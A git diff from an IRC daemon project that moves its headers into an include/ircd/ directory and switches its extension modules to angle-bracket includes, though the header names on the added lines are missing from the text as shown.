87cba51ea..b56b7dc38 100644 --- a/extensions/extb_usermode.c +++ b/extensions/extb_usermode.c @@ -3,17 +3,17 @@ * -- nenolod */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "hash.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char extb_desc[] = "Usermode ($m) extban type"; diff --git a/extensions/force_user_invis.c b/extensions/force_user_invis.c index 6a53ee5e8..ce222e71d 100644 --- a/extensions/force_user_invis.c +++ b/extensions/force_user_invis.c @@ -6,14 +6,14 @@ * Note that +i must be included in default_umodes */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char noi_desc[] = "Do not allow users to remove user mode +i unless they are operators"; diff --git a/extensions/helpops.c b/extensions/helpops.c index c2a7e00cf..9d49579b8 100644 --- a/extensions/helpops.c +++ b/extensions/helpops.c @@ -3,16 +3,16 @@ * -- kaniini */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_newconf.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char helpops_desc[] = "The helpops system as used by freenode"; diff --git a/extensions/hide_uncommon_channels.c b/extensions/hide_uncommon_channels.c index ff1d0cb6b..ac019b1b7 100644 --- a/extensions/hide_uncommon_channels.c +++ b/extensions/hide_uncommon_channels.c @@ -3,14 +3,14 @@ * -- kaniini */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char hide_desc[] = "Hides channel memberships not shared"; diff --git a/extensions/hurt.c b/extensions/hurt.c index 9f6ee7adc..30d4c8708 100644 --- a/extensions/hurt.c +++ b/extensions/hurt.c @@ -4,19 +4,19 @@ * Copyright (C) 2006 charybdis development team * All rights reserved */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "numeric.h" -#include "hostmask.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "hash.h" -#include "messages.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* {{{ Structures */ #define HURT_CUTOFF (10) /* protocol messages. */ diff --git a/extensions/ip_cloaking.c b/extensions/ip_cloaking.c index a650c8abd..f4ce078e0 100644 --- a/extensions/ip_cloaking.c +++ b/extensions/ip_cloaking.c @@ -5,17 +5,17 @@ * Written originally by nenolod, altered to use FNV by Elizabeth in 2008 */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "hash.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char ip_cloaking_desc[] = "IP cloaking module that uses user mode +h"; diff --git a/extensions/ip_cloaking_3.0.c b/extensions/ip_cloaking_3.0.c index a1d16ca51..80a339002 100644 --- a/extensions/ip_cloaking_3.0.c +++ b/extensions/ip_cloaking_3.0.c @@ -1,14 +1,14 @@ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char ip_cloaking_desc[] = "The old IP cloaking mechanism version 3.0"; diff --git a/extensions/ip_cloaking_4.0.c b/extensions/ip_cloaking_4.0.c index 011fcc699..cd9abac4d 100644 --- a/extensions/ip_cloaking_4.0.c +++ b/extensions/ip_cloaking_4.0.c @@ -5,17 +5,17 @@ * Written originally by nenolod, altered to use FNV by Elizabeth in 2008 */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "hash.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char ip_cloaking_desc[] = "New IP cloaking module that uses user mode +x instead of +h"; diff --git a/extensions/ip_cloaking_old.c b/extensions/ip_cloaking_old.c index ca4f91114..38d45b6b4 100644 --- a/extensions/ip_cloaking_old.c +++ b/extensions/ip_cloaking_old.c @@ -1,14 +1,14 @@ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char ip_cloaking_desc[] = "Very old IP cloaking mechanism"; diff --git a/extensions/m_adminwall.c b/extensions/m_adminwall.c index d5dbcb7c1..ff27d18d5 100644 --- a/extensions/m_adminwall.c +++ b/extensions/m_adminwall.c @@ -22,20 +22,20 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "send.h" -#include "s_user.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_serv.h" -#include "messages.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char adminwall_desc[] = "Provides the ADMINWALL command to send a message to all administrators"; diff --git a/extensions/m_echotags.c b/extensions/m_echotags.c index bbf78aed1..9a42361f1 100644 --- a/extensions/m_echotags.c +++ b/extensions/m_echotags.c @@ -1,8 +1,8 @@ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include static void m_echotags(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p, int parc, const char *parv[]); diff --git a/extensions/m_extendchans.c b/extensions/m_extendchans.c index d9e887ee6..d6aa676f9 100644 --- a/extensions/m_extendchans.c +++ b/extensions/m_extendchans.c @@ -24,12 +24,12 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "modules.h" -#include "s_newconf.h" -#include "send.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include static const char extendchans_desc[] = "Allow an oper or service to let a given user join more channels"; diff --git a/extensions/m_findforwards.c b/extensions/m_findforwards.c index 422197bfe..a30ea7598 100644 --- a/extensions/m_findforwards.c +++ b/extensions/m_findforwards.c @@ -17,22 +17,22 @@ * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_user.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "messages.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char findfowards_desc[] = "Allows operators to find forwards to a given channel"; diff --git a/extensions/m_identify.c b/extensions/m_identify.c index aebcd3616..91d4f8f79 100644 --- a/extensions/m_identify.c +++ b/extensions/m_identify.c @@ -29,19 +29,19 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "s_conf.h" -#include "logger.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "messages.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #define SVS_chanserv_NICK "ChanServ" #define SVS_nickserv_NICK "NickServ" diff --git a/extensions/m_locops.c b/extensions/m_locops.c index a63df47b0..33bbc132e 100644 --- a/extensions/m_locops.c +++ b/extensions/m_locops.c @@ -22,20 +22,20 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "send.h" -#include "s_user.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_serv.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char locops_desc[] = "Provides the LOCOPS command to send a message to all local operators"; diff --git a/extensions/m_mkpasswd.c b/extensions/m_mkpasswd.c index 66d06413d..41140558e 100644 --- a/extensions/m_mkpasswd.c +++ b/extensions/m_mkpasswd.c @@ -5,13 +5,13 @@ * You can use this code in any way as long as these names remain. */ -#include "stdinc.h" -#include "client.h" -#include "numeric.h" -#include "s_conf.h" -#include "modules.h" -#include "messages.h" -#include "send.h" +#include +#include +#include +#include +#include +#include +#include #include diff --git a/extensions/m_ojoin.c b/extensions/m_ojoin.c index d49c6ee97..c8da7a715 100644 --- a/extensions/m_ojoin.c +++ b/extensions/m_ojoin.c @@ -17,23 +17,23 @@ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "logger.h" -#include "s_serv.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "send.h" -#include "whowas.h" -#include "match.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "messages.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char ojoin_desc[] = "Allow admins to forcibly join channels with the OJOIN command"; diff --git a/extensions/m_okick.c b/extensions/m_okick.c index f4a25a701..c00c423ee 100644 --- a/extensions/m_okick.c +++ b/extensions/m_okick.c @@ -21,22 +21,22 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "modules.h" -#include "parse.h" -#include "hash.h" -#include "packet.h" -#include "s_conf.h" -#include "s_serv.h" -#include "messages.h" -#include "logger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char okick_desc[] = "Allow admins to forcibly kick users from channels with the OKICK command"; diff --git a/extensions/m_omode.c b/extensions/m_omode.c index 87194e41c..0d6cd3097 100644 --- a/extensions/m_omode.c +++ b/extensions/m_omode.c @@ -23,24 +23,24 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_user.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "messages.h" -#include "logger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char omode_desc[] = "Allow admins to forcibly change modes on channels with the OMODE command"; diff --git a/extensions/m_opme.c b/extensions/m_opme.c index 4cb8baa1e..10f440e71 100644 --- a/extensions/m_opme.c +++ b/extensions/m_opme.c @@ -16,23 +16,23 @@ * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "logger.h" -#include "s_serv.h" -#include "send.h" -#include "whowas.h" -#include "match.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "messages.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char opme_desc[] = "Allow admins to op themselves on opless channels"; diff --git a/extensions/m_remove.c b/extensions/m_remove.c index 169273a71..a0e68aaae 100644 --- a/extensions/m_remove.c +++ b/extensions/m_remove.c @@ -22,22 +22,22 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "modules.h" -#include "parse.h" -#include "hash.h" -#include "packet.h" -#include "s_serv.h" -#include "s_conf.h" -#include "hook.h" -#include "messages.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char description[] = "Provides the REMOVE command, an alternative to KICK"; diff --git a/extensions/m_roleplay.c b/extensions/m_roleplay.c index a21709b7e..282cf8b56 100644 --- a/extensions/m_roleplay.c +++ b/extensions/m_roleplay.c @@ -14,20 +14,20 @@ */ -#include "stdinc.h" -#include "ircd.h" -#include "client.h" -#include "modules.h" -#include "send.h" -#include "numeric.h" -#include "hash.h" -#include "s_serv.h" -#include "inline/stringops.h" -#include "chmode.h" -#include "tgchange.h" -#include "channel.h" -#include "packet.h" -#include "messages.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char roleplay_desc[] = "Adds a roleplaying system that allows faked nicknames to talk in a channel set +N"; diff --git a/extensions/m_sendbans.c b/extensions/m_sendbans.c index a6e155122..1e39f6bda 100644 --- a/extensions/m_sendbans.c +++ b/extensions/m_sendbans.c @@ -29,20 +29,19 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_serv.h" -#include "s_newconf.h" -#include "send.h" -#include "msg.h" -#include "hash.h" -#include "modules.h" -#include "messages.h" -#include "rb_radixtree.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char sendbands_desc[] = "Adds the ability to send all permanent RESVs and XLINEs to given server"; diff --git a/extensions/m_webirc.c b/extensions/m_webirc.c index 99f66b5b6..10c882338 100644 --- a/extensions/m_webirc.c +++ b/extensions/m_webirc.c @@ -38,20 +38,20 @@ * cgiirc.config */ -#include "stdinc.h" -#include "client.h" /* client struct */ -#include "match.h" -#include "hostmask.h" -#include "send.h" /* sendto_one */ -#include "numeric.h" /* ERR_xxx */ -#include "ircd.h" /* me */ -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_serv.h" -#include "hash.h" -#include "s_conf.h" -#include "reject.h" +#include +#include /* client struct */ +#include +#include +#include /* sendto_one */ +#include /* ERR_xxx */ +#include /* me */ +#include +#include +#include +#include +#include +#include +#include static const char webirc_desc[] = "Adds support for the WebIRC system"; diff --git a/extensions/no_kill_services.c b/extensions/no_kill_services.c index 15f6365c2..7c80c7398 100644 --- a/extensions/no_kill_services.c +++ b/extensions/no_kill_services.c @@ -6,19 +6,19 @@ * Licensed under the WTFPLv2 */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "hash.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "privilege.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char nokill_desc[] = "Prevents operators from killing services"; diff --git a/extensions/no_locops.c b/extensions/no_locops.c index 7fc7d1b6a..537e39994 100644 --- a/extensions/no_locops.c +++ b/extensions/no_locops.c @@ -3,14 +3,14 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char no_locops_desc[] = "Disables local operators"; diff --git a/extensions/no_oper_invis.c b/extensions/no_oper_invis.c index def1b0169..169afe54e 100644 --- a/extensions/no_oper_invis.c +++ b/extensions/no_oper_invis.c @@ -4,14 +4,14 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char noi_desc[] = "Disallow operators from setting user mode +i on themselves"; diff --git a/extensions/override.c b/extensions/override.c index 312318b24..f1751c377 100644 --- a/extensions/override.c +++ b/extensions/override.c @@ -8,19 +8,19 @@ * able to use this extension. */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "hash.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "privilege.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char override_desc[] = "Adds user mode +p, an operator-only user mode that grants temporary privileges to override anything"; diff --git a/extensions/restrict-unauthenticated.c b/extensions/restrict-unauthenticated.c index 16267a22e..73936a92b 100644 --- a/extensions/restrict-unauthenticated.c +++ b/extensions/restrict-unauthenticated.c @@ -2,19 +2,19 @@ * restrict unauthenticated users from doing anything as channel op */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "hash.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "privilege.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char restrict_desc[] = "Restrict unautenticated users from doing anything as channel ops"; diff --git a/extensions/sno_channelcreate.c b/extensions/sno_channelcreate.c index 4259bf94e..0841075ac 100644 --- a/extensions/sno_channelcreate.c +++ b/extensions/sno_channelcreate.c @@ -2,15 +2,14 @@ * Channel creation notices */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "snomask.h" -#include "rb_lib.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char sno_desc[] = "Adds server notice mask +l that allows operators to receive channel creation notices"; diff --git a/extensions/sno_farconnect.c b/extensions/sno_farconnect.c index 787806588..4fcd1c524 100644 --- a/extensions/sno_farconnect.c +++ b/extensions/sno_farconnect.c @@ -6,14 +6,14 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "snomask.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char sno_desc[] = "Adds server notice mask +F that allows operators to receive notices for connections on other servers"; diff --git a/extensions/sno_globalkline.c b/extensions/sno_globalkline.c index 0b3285b2a..b8e285b97 100644 --- a/extensions/sno_globalkline.c +++ b/extensions/sno_globalkline.c @@ -7,13 +7,13 @@ * more data across servers -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" +#include +#include +#include +#include +#include +#include +#include static const char sno_desc[] = "Adds server notices for global XLINEs, KLINEs, and DLINEs"; diff --git a/extensions/sno_globalnickchange.c b/extensions/sno_globalnickchange.c index 0e338c5cc..a32f15c4c 100644 --- a/extensions/sno_globalnickchange.c +++ b/extensions/sno_globalnickchange.c @@ -2,14 +2,14 @@ * Remote client nick change notices. */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "snomask.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char sno_desc[] = "Adds server notices for remote nick changes"; diff --git a/extensions/sno_globaloper.c b/extensions/sno_globaloper.c index ea5476c29..7331346be 100644 --- a/extensions/sno_globaloper.c +++ b/extensions/sno_globaloper.c @@ -2,14 +2,14 @@ * Remote oper up notices. */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "snomask.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char sno_desc[] = "Adds server notices for remote oper up"; diff --git a/extensions/sno_whois.c b/extensions/sno_whois.c index f5c69d92c..dc3885b1d 100644 --- a/extensions/sno_whois.c +++ b/extensions/sno_whois.c @@ -6,12 +6,12 @@ * (you need to put ~servnotice in oper_only_umodes for this to work). */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include /* undefine this to allow anyone to receive whois notifications */ #define OPERONLY diff --git a/extensions/spamfilter_expr.c b/extensions/spamfilter_expr.c index c8b9f2421..cd2630127 100644 --- a/extensions/spamfilter_expr.c +++ b/extensions/spamfilter_expr.c @@ -29,15 +29,15 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "s_conf.h" -#include "numeric.h" -#include "modules.h" -#include "hook.h" -#include "send.h" -#include "s_serv.h" -#include "hash.h" -#include "newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include #include "spamfilter.h" #define PCRE2_STATIC 1 diff --git a/extensions/spamfilter_nicks.c b/extensions/spamfilter_nicks.c index 8c18a2010..cb9fd5710 100644 --- a/extensions/spamfilter_nicks.c +++ b/extensions/spamfilter_nicks.c @@ -29,13 +29,13 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "send.h" -#include "hash.h" -#include "newconf.h" +#include +#include +#include +#include +#include +#include +#include #include "spamfilter.h" diff --git a/extensions/spy_admin_notice.c b/extensions/spy_admin_notice.c index 8d4770634..977f12565 100644 --- a/extensions/spy_admin_notice.c +++ b/extensions/spy_admin_notice.c @@ -19,12 +19,12 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include static const char spy_desc[] = "Sends a notice when someone uses ADMIN"; diff --git a/extensions/spy_info_notice.c b/extensions/spy_info_notice.c index 01d608958..af6069e68 100644 --- a/extensions/spy_info_notice.c +++ b/extensions/spy_info_notice.c @@ -19,12 +19,12 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include static const char spy_desc[] = "Sends a notice when someone uses INFO"; diff --git a/extensions/spy_links_notice.c b/extensions/spy_links_notice.c index 17b5d0e90..78b7d357b 100644 --- a/extensions/spy_links_notice.c +++ b/extensions/spy_links_notice.c @@ -19,12 +19,12 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include static const char spy_desc[] = "Sends a notice when someone uses LINKS"; diff --git a/extensions/spy_motd_notice.c b/extensions/spy_motd_notice.c index 1a6c123ed..8feaf8fc8 100644 --- a/extensions/spy_motd_notice.c +++ b/extensions/spy_motd_notice.c @@ -19,12 +19,12 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include static const char spy_desc[] = "Sends a notice when someone looks at the MOTD"; diff --git a/extensions/spy_stats_notice.c b/extensions/spy_stats_notice.c index 6bc231417..c90236ec6 100644 --- a/extensions/spy_stats_notice.c +++ b/extensions/spy_stats_notice.c @@ -19,12 +19,12 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include static const char spy_desc[] = "Sends a notice when someone uses STATS"; diff --git a/extensions/spy_stats_p_notice.c b/extensions/spy_stats_p_notice.c index c068a252e..438abf160 100644 --- a/extensions/spy_stats_p_notice.c +++ b/extensions/spy_stats_p_notice.c @@ -19,12 +19,12 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include static const char spy_desc[] = "Sends a notice when someone looks at the operator list"; diff --git a/extensions/spy_trace_notice.c b/extensions/spy_trace_notice.c index e4f5e567a..f15ecbcd8 100644 --- a/extensions/spy_trace_notice.c +++ b/extensions/spy_trace_notice.c @@ -19,12 +19,12 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include static const char spy_desc[] = "Sends a notice when someone uses TRACE or LTRACE"; diff --git a/extensions/umode_noctcp.c b/extensions/umode_noctcp.c index bb1b6490e..4eaad660e 100644 --- a/extensions/umode_noctcp.c +++ b/extensions/umode_noctcp.c @@ -20,15 +20,15 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_user.h" -#include "numeric.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char umode_noctcp_desc[] = "Adds user mode +C which blocks CTCPs to the user."; diff --git a/include/ircd/.gitignore b/include/ircd/.gitignore new file mode 100644 index 000000000..cbdd902ff --- /dev/null +++ b/include/ircd/.gitignore @@ -0,0 +1,2 @@ +setup.h* +serno.h diff --git a/include/authproc.h b/include/ircd/authproc.h similarity index 99% rename from include/authproc.h rename to include/ircd/authproc.h index bfa747515..bf23159c9 100644 --- a/include/authproc.h +++ b/include/ircd/authproc.h @@ -27,7 +27,6 @@ #define CHARYBDIS_AUTHD_H #include "stdinc.h" -#include "rb_dictionary.h" #include "client.h" struct BlacklistStats diff --git a/include/bandbi.h b/include/ircd/bandbi.h similarity index 100% rename from include/bandbi.h rename to include/ircd/bandbi.h diff --git a/include/cache.h b/include/ircd/cache.h similarity index 97% rename from include/cache.h rename to include/ircd/cache.h index 095354d8e..fd609411b 100644 --- a/include/cache.h +++ b/include/ircd/cache.h @@ -1,8 +1,6 @@ #ifndef INCLUDED_CACHE_H #define INCLUDED_CACHE_H -#include "rb_dictionary.h" - #define HELP_MAX 100 #define CACHEFILELEN 30 diff --git a/include/capability.h b/include/ircd/capability.h similarity index 98% rename from include/capability.h rename to include/ircd/capability.h index 76e58c974..c77b20e63 100644 --- a/include/capability.h +++ b/include/ircd/capability.h @@ -22,7 +22,6 @@ #define __CAPABILITY_H__ #include "stdinc.h" -#include "rb_dictionary.h" struct CapabilityIndex { const char *name; diff --git a/include/certfp.h b/include/ircd/certfp.h similarity index 100% rename from include/certfp.h rename to include/ircd/certfp.h diff --git a/include/channel.h b/include/ircd/channel.h similarity index 99% rename from include/channel.h rename to include/ircd/channel.h index b279060cf..894cbdbff 100644 --- a/include/channel.h +++ b/include/ircd/channel.h @@ -25,7 +25,7 @@ #ifndef INCLUDED_channel_h #define INCLUDED_channel_h -#include "setup.h" +#include "stdinc.h" #include "chmode.h" /* channel status flags */ diff --git a/include/chmode.h b/include/ircd/chmode.h similarity index 100% rename from include/chmode.h rename to include/ircd/chmode.h diff --git a/include/class.h b/include/ircd/class.h similarity index 100% rename from include/class.h rename to include/ircd/class.h diff --git a/include/client.h b/include/ircd/client.h similarity index 99% rename from include/client.h rename to include/ircd/client.h index 708bf69dc..592130423 100644 --- a/include/client.h +++ b/include/ircd/client.h @@ -26,9 +26,8 @@ #ifndef INCLUDED_client_h #define INCLUDED_client_h +#include "stdinc.h" #include "defaults.h" - -#include "ircd_defs.h" #include "channel.h" #include "dns.h" #include "snomask.h" diff --git a/include/defaults.h b/include/ircd/defaults.h similarity index 98% rename from include/defaults.h rename to include/ircd/defaults.h index 4e36981df..d31c78919 100644 --- a/include/defaults.h +++ b/include/ircd/defaults.h @@ -30,7 +30,7 @@ * Do not mess with these values unless you know what you are doing! */ -#include "setup.h" +#include "stdinc.h" /* Below are the elements for default paths. */ typedef enum { @@ -102,9 +102,9 @@ extern const char *ircd_paths[IRCD_PATH_COUNT]; */ #define DPATH IRCD_PREFIX -#define BINPATH IRCD_PREFIX "/bin/" +#define BINPATH IRCD_PREFIX "/bin" #define MODPATH MODULE_DIR -#define AUTOMODPATH MODULE_DIR "/autoload/" +#define AUTOMODPATH MODULE_DIR "/autoload" #define ETCPATH ETC_DIR #define LOGPATH LOG_DIR #define UHPATH HELP_DIR "/users" diff --git a/include/dns.h b/include/ircd/dns.h similarity index 100% rename from include/dns.h rename to include/ircd/dns.h diff --git a/include/hash.h b/include/ircd/hash.h similarity index 98% rename from include/hash.h rename to include/ircd/hash.h index 88bf7a54e..4098a8ebd 100644 --- a/include/hash.h +++ b/include/ircd/hash.h @@ -25,8 +25,8 @@ #ifndef INCLUDED_hash_h #define INCLUDED_hash_h -#include "rb_dictionary.h" -#include "rb_radixtree.h" +#include +#include extern rb_dictionary *nd_dict; extern rb_radixtree *resv_tree; diff --git a/include/hook.h b/include/ircd/hook.h similarity index 100% rename from include/hook.h rename to include/ircd/hook.h diff --git a/include/hostmask.h b/include/ircd/hostmask.h similarity index 100% rename from include/hostmask.h rename to include/ircd/hostmask.h diff --git a/include/inline/stringops.h b/include/ircd/inline/stringops.h similarity index 100% rename from include/inline/stringops.h rename to include/ircd/inline/stringops.h diff --git a/include/ircd.h b/include/ircd/ircd.h similarity index 100% rename from include/ircd.h rename to include/ircd/ircd.h diff --git a/include/ircd_defs.h b/include/ircd/ircd_defs.h similarity index 100% rename from include/ircd_defs.h rename to include/ircd/ircd_defs.h diff --git a/include/ircd_getopt.h b/include/ircd/ircd_getopt.h similarity index 100% 